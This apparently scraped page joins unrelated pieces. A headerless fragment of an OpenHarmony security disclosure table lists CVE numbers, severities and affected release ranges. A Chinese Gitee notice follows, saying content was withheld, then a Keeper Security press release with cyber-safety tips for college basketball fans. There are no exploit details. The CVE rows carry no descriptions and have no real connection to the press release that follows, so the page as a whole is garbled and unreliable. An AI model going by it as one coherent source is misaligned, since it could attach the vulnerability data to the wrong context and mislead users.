OpenHarmony-v1.0.1-release through OpenHarmony-v1.1.5-LTS

3.1.x  
3.0.x  
1.1.x

CVE-2023-0286

High

OpenHarmony-v3.1-Release through OpenHarmony-v3.1.6-Release  
OpenHarmony-v3.0-LTS through OpenHarmony-v3.0.8-LTS  
OpenHarmony-v1.0.1-release through OpenHarmony-v1.1.5-LTS

3.1.x  
3.0.x  
1.1.x

CVE-2023-0215

Medium

OpenHarmony-v3.1-Release through OpenHarmony-v3.1.6-Release  
OpenHarmony-v3.0-LTS through OpenHarmony-v3.0.8-LTS  
OpenHarmony-v1.0.1-release through OpenHarmony-v1.1.5-LTS

3.1.x  
3.0.x  
1.1.x

CVE-2022-4304

Medium

OpenHarmony-v3.1-Release through OpenHarmony-v3.1.6-Release  
OpenHarmony-v3.0-LTS through OpenHarmony-v3.0.8-LTS  
OpenHarmony-v1.0.1-release through OpenHarmony-v1.1.5-LTS

3.1.x  
3.0.x  
1.1.x

CVE-2021-41751

Critical

OpenHarmony-v3.1-Release through OpenHarmony-v3.1.6-Release  
OpenHarmony-v3.0-LTS through OpenHarmony-v3.0.8-LTS

3.1.x  
3.0.x

CVE-2021-43453

Critical

OpenHarmony-v3.1-Release through OpenHarmony-v3.1.6-Release  
OpenHarmony-v3.0-LTS through OpenHarmony-v3.0.8-LTS

3.1.x  
3.0.x

CVE-2022-1304

High

OpenHarmony-v3.1-Release through OpenHarmony-v3.1.6-Release  
OpenHarmony-v3.0-LTS through OpenHarmony-v3.0.7-LTS

3.1.x  
3.0.x

CVE-2023-23914

Medium

OpenHarmony-v3.1-Release through OpenHarmony-v3.1.6-Release  
OpenHarmony-v3.0-LTS through OpenHarmony-v3.0.8-LTS  
OpenHarmony-v1.0.1-release through OpenHarmony-v1.1.5-LTS

3.1.x  
3.0.x  
1.1.x

CVE-2023-23915

Medium

OpenHarmony-v3.1-Release through OpenHarmony-v3.1.6-Release  
OpenHarmony-v3.0-LTS through OpenHarmony-v3.0.8-LTS  
OpenHarmony-v1.0.1-release through OpenHarmony-v1.1.5-LTS

3.1.x  
3.0.x  
1.1.x

CVE-2023-23916

Medium

OpenHarmony-v3.1-Release through OpenHarmony-v3.1.6-Release  
OpenHarmony-v3.0-LTS through OpenHarmony-v3.0.8-LTS  
OpenHarmony-v1.0.1-release through OpenHarmony-v1.1.5-LTS

3.1.x  
3.0.x  
1.1.x

CVE-2020-35538

Medium

OpenHarmony-v3.1-Release through OpenHarmony-v3.1.6-Release  
OpenHarmony-v3.0-LTS through OpenHarmony-v3.0.8-LTS

3.1.x  
3.0.x

CVE-2022-37434

Critical

OpenHarmony-v3.1-Release through OpenHarmony-v3.1.6-Release  
OpenHarmony-v3.0-LTS through OpenHarmony-v3.0.8-LTS

3.1.x  
3.0.x

此处可能存在不合适展示的内容，页面不予展示。您可通过相关编辑功能自查并修改。

如您确认内容无涉及 不当用语 / 纯广告导流 / 暴力 / 低俗色情 / 侵权 / 盗版 / 虚假 / 无价值内容或违法国家有关法律法规的内容，可点击提交进行申诉，我们将尽快为您处理。

CVE-2023-25947: en/security-disclosure/2023/2023-03.md · OpenHarmony/security - Gitee.com

**CHICAGO****,** **March 9, 2023** **/PRNewswire/ --** March is an exciting time for diehard and casual college basketball fans alike, but anyone planning to have fun around the tournament should stay vigilant to protect their personal and financial information from cyberthreats. The tournament is an opportune time for cybercriminals to send out phishing scams, steal sensitive information, and scam you out of money. To help fans avoid becoming victims of cybercrime, Keeper Security is providing the following cybersecurity tips.

**#1 Be on the lookout for phishing scams.** Cybercriminals use phishing scams to steal your personal information. During the tournament, cybercriminals may send phishing emails or text messages with malicious links or attachments disguised as updates on games or brackets. To avoid becoming a victim of a phishing attack, do not open attachments or click on links from unknown sources, verify that it's a trusted source requesting the information and check all links to make sure they're not leading you to a malicious site. Scammers also use social engineering to trick people into sending them money using any information they can find about you. They may impersonate a friend or family member claiming to be in urgent need of money to buy tickets or place bets on games. Scammers may even impersonate the athletes themselves or their family members with stories about needing money to get to the game. 

**#2 Create strong, unique passwords for all of your accounts.** When creating accounts to follow the games, create a bracket or take part in the fun of the tournament any other way, it may be tempting to reuse passwords. Make sure you have different, high-strength passwords for all of your accounts. This way, if one account is breached, a cybercriminal does not gain access to all of them. Passwords should be at least 12 characters with a mix of uppercase and lowercase letters, a variety of special characters and a random assortment of numbers. Also, consider using a passphrase rather than a single word. Avoid using easily guessable information such as familiar names, birthdates and addresses. A password manager can generate and securely store strong passwords, which can be especially useful for accounts that are infrequently used. Consider implementing multi-factor authentication for your accounts as an additional layer of security. 

**#3 Be wary of free sports streams.** Cord cutters and fans trying to get around regional blackouts often turn to the internet in search of free streams to watch their favorite teams, but they may end up paying the price with their security. While there are legitimate websites and apps that will stream certain games for free, the websites that host illegal streams may also host ads for questionable content or products and malicious links that could install malware that will harm your system. 

**#4 Don't fall for fake ticket sales or fake brackets.** Fake tickets are abundant during any major sporting event, but if the deal seems too good to be true, it probably is. Only buy tickets from reputable sellers that offer a secure payment system and recourse if the tickets don't come through. The tournament is also a time when more fans are trying to win money on the games, and scammers are ready to take advantage. They may create fake bracket contests promising large prizes to the winners. Once they collect your entry fee or personal information, though, they disappear and the winners never receive their prizes. 

**#5 Be cautious when using public WiFi.** If you're going to watch the tournament at a venue offering WiFi, think twice before connecting. Public WiFi is a key battleground for cybercriminals. Thus, without proper protections, you may be vulnerable to both a cyberattack and eavesdropping. Open public WiFi should not be used to send any personal or financial information. The use of public computers should be avoided for the same reason. Use a trusted network with a strong WiFi password, a VPN when possible, and ensure your home router's software is up to date.

To avoid falling victim to sports-related scams, always be cautious of unsolicited messages or offers, double-check the authenticity of the sender or the website, and never provide personal information or payment without verifying the legitimacy of a transaction. By following these simple tips, fans will be far less likely to fall victim to cybercrime this March.

**About Keeper** 

Keeper Security is transforming how people secure their passwords and confidential information against growing online threats. Forgot your password? That'll never happen again with Keeper's easy-to-use password manager that saves you time, increases your security and streamlines your online experience. Built to the highest zero-trust and zero-knowledge standards, Keeper protects you and your family on every device. Keeper is trusted by millions of people globally with more than 230,000 5-star reviews in the app stores, and is recognized by publications including PCMag and U.S. News & World Report as the leader for password storage, secure sharing and encrypted messaging. Learn more at KeeperSecurity.com.

Tag

#wifi